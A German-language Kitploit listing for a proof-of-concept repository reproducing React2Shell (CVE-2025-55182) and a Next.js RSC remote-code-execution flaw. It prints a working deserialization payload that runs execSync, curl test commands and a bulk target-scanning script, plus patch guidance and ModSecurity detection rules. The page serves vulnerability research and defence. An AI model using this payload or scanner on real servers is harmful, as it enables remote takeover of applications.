Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/huahuai23/cve-2025-55182-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & Bildung
GitHubhuahuai23/cve-2025-55182-poc

CVE-2025-55182-POC

Minimales MVP zur Reproduktion der React2Shell (CVE-2025-55182) und Next.js RSC RCE (CVE-2025-66478) Schwachstellen. Enthält Exploit-Payload, Batch-Scanning-Skript und ModSecurity WAF-Regeln zur Abschwächung.

Repository anzeigen
15vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-55182 / CVE-2025-66478 Reproduktionsumgebung

Dies ist ein minimales MVP zur Reproduktion der Schwachstellen React2Shell (CVE-2025-55182) und Next.js RSC RCE (CVE-2025-66478).

⚠️ Warnung

Dieses Projekt dient ausschließlich Sicherheitsforschung und Bildungszwecken. Nicht in Produktionsumgebungen oder auf nicht autorisierten Systemen verwenden.

Schwachstellenübersicht

CVE-2025-55182 ist eine schwerwiegende Schwachstelle in React Server Components, die folgende Versionen betrifft:

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: ≥14.3.0-canary.77, ≥15, ≥16

Angreifer können durch speziell präparierte multipart/form-data-Anfragen eine Deserialisierungslücke im Flight-Protocol ausnutzen und Remote Code Execution (RCE) erreichen.

Angriffsprinzip

  1. Chunk-Referenz erlangen: Mit der $@N-Syntax ein internes Chunk-Objekt referenzieren
  2. Prototype-Pollution: Über $1:__proto__:then eine bösartige then-Methode injizieren
  3. Ausführung auslösen: Server Action ruft beim await die manipulierte then-Methode auf
  4. Konstruktor-Hijacking: _formData.get als Function-Konstruktor kapern
  5. Code-Ausführung: Über Blob-Deserialisierung beliebigen Code ausführen

Schnellstart

1. Abhängigkeiten installieren

npm install
# oder
yarn install
# oder
pnpm install

2. Entwicklungsserver starten

npm run dev

Der Server startet unter http://localhost:3000.

3. Schwachstelle testen

Mit dem bereitgestellten Testskript:

# Einzelner Zieltest
./test-exploit.sh http://localhost:3000

# oder direkt mit curl
curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  --data-binary @exploit-payload.txt

Falls die Schwachstelle vorhanden ist, erscheint in der Antwort eine Ausgabe wie uid= (Ergebnis des id-Befehls).

Dateistruktur

.
├── app/
│   ├── actions.ts              # Server Actions (Angriffspunkt)
│   ├── page.tsx                # Hauptseite
│   ├── layout.tsx              # Layout
│   └── globals.css             # Globale Styles
├── package.json                # Abhängigkeiten (betroffene Versionen)
├── next.config.js              # Next.js-Konfiguration
├── test-exploit.sh             # Einzeltest-Skript
├── scan-targets.sh             # Bulk-Scan-Skript
├── exploit-payload.txt         # Exploit-Payload-Datei
├── Cve-2025-55182-modsecurity-rules.conf      # ModSecurity-Schutzregeln
└── README.md                   # Diese Datei

Erläuterung der Testskripte

1. test-exploit.sh – Einzeltest

Testet eine einzelne URL auf die Schwachstelle:

chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000

Erkennungsmerkmal: Enthält die Antwort uid= oder gid=, ist die Schwachstelle vorhanden.

2. scan-targets.sh – Bulk-Scan

Scannt mehrere Ziel-URLs parallel:

# Ziel-Listendatei erstellen
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF

# Bulk-Scan ausführen
chmod +x scan-targets.sh
./scan-targets.sh targets.txt

Die Ergebnisse werden in vulnerable_hosts.csv gespeichert.

Payload-Struktur

{
  "then": "$1:__proto__:then",           // Hijack der then-Methode
  "status": "resolved_model",             // Steuerung des Ausführungspfads
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",      // Auslösen der Blob-Deserialisierung
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"  // Als Function kapern
    }
  }
}

Kernpunkte:

  1. $@0: Referenziert das erste form-data-Feld, um das Chunk-Objekt zu erhalten
  2. $1:proto:then: Greift auf Chunk.prototype.then zu
  3. _response._prefix: Injizierter bösartiger Code (wird durch Function-Konstruktor ausgeführt)
  4. $1:constructor:constructor: Object.constructor.constructor = Function

Behebungsmaßnahmen

Option 1: Upgrade auf reparierte Versionen (empfohlen)

  • React: 19.0.1, 19.1.2, 19.2.1 oder höher
  • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 oder höher
npm install [email protected] [email protected] [email protected]

Option 2: ModSecurity WAF-Regeln bereitstellen (vorübergehende Abschwächung)

Falls ein Upgrade nicht sofort möglich ist, können ModSecurity-Regeln zur vorübergehenden Abschwächung eingesetzt werden.

Apache + mod_security

# 1. mod_security installieren
sudo apt-get install libapache2-mod-security2

# 2. Regeldatei kopieren
sudo cp modsecurity-rules.conf /etc/modsecurity/

# 3. Regel in Apache-Konfiguration einbinden
sudo vim /etc/apache2/mods-enabled/security2.conf
# Hinzufügen: Include /etc/modsecurity/modsecurity-rules.conf

# 4. Apache neu starten
sudo systemctl restart apache2

Nginx + ModSecurity

# 1. ModSecurity for Nginx installieren
sudo apt-get install libnginx-mod-security

# 2. Regeldatei kopieren
sudo cp modsecurity-rules.conf /etc/nginx/modsec/

# 3. In Nginx-Konfiguration aktivieren
sudo vim /etc/nginx/nginx.conf
# Im http- oder server-Block hinzufügen:
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;

# 4. Nginx neu starten
sudo systemctl restart nginx

Erkennungsmerkmale der Regeln

Die ModSecurity-Regeln blockieren folgende Merkmale:

  • ✅ Flight-Protocol-Muster ($@N, $BN)
  • ✅ Prototype-Pollution (__proto__, constructor:constructor)
  • ✅ Gefährliche Node.js-Modulaufrufe (process.mainModule.require, require('child_process'))
  • ✅ Befehlsausführungsfunktionen (execSync, exec)
  • ✅ Zugriff auf interne Objekte (_response, _chunks, _formData, _prefix)
  • ✅ Server-Action-Header (Next-Action, RSC-Action-ID)

⚠️ Hinweis: WAF-Regeln sind nur eine vorübergehende Abschwächung und bieten keinen vollständigen Schutz. Ein Upgrade auf reparierte Versionen ist zwingend erforderlich.

Sicherheitsempfehlungen

Falls Ihre Anwendung betroffen sein könnte:

  1. Sofort testen: Verwenden Sie das Skript test-exploit.sh, um Ihre Anwendung zu prüfen
  2. Sofort upgraden: Führen Sie ein Upgrade auf reparierte Versionen durch
  3. Schlüssel rotieren: Rotieren Sie alle Umgebungsvariablen, API-Schlüssel und Datenbankpasswörter
  4. Protokolle prüfen: Durchsuchen Sie Zugriffsprotokolle nach verdächtigen Next-Action-Anfragen
  5. WAF bereitstellen: Setzen Sie vor dem Upgrade ModSecurity-Regeln als vorübergehenden Schutz ein

Schnelltest mit curl

Falls Sie direkt mit curl testen möchten (ohne Skript):

curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  --data-binary @exploit-payload.txt

Enthält die Antwort uid= oder gid=, ist die Schwachstelle vorhanden.

Referenzen

  • Vercel offizielle Ankündigung
  • React GHSA
  • Next.js GHSA
  • CVE PoC (React)
  • CVE Scanner (Next.js)
  • ModSecurity Dokumentation

Danksagung

  • Lachlan Davidson – Entdeckung und verantwortungsvolle Meldung der Schwachstelle
  • Meta Security & React Team
  • Vercel Team

Lizenz

Dieses Projekt dient ausschließlich Bildungszwecken. Bei der Nutzung dieses Codes sind die geltenden Gesetze und Vorschriften einzuhalten.

Tool herunterladen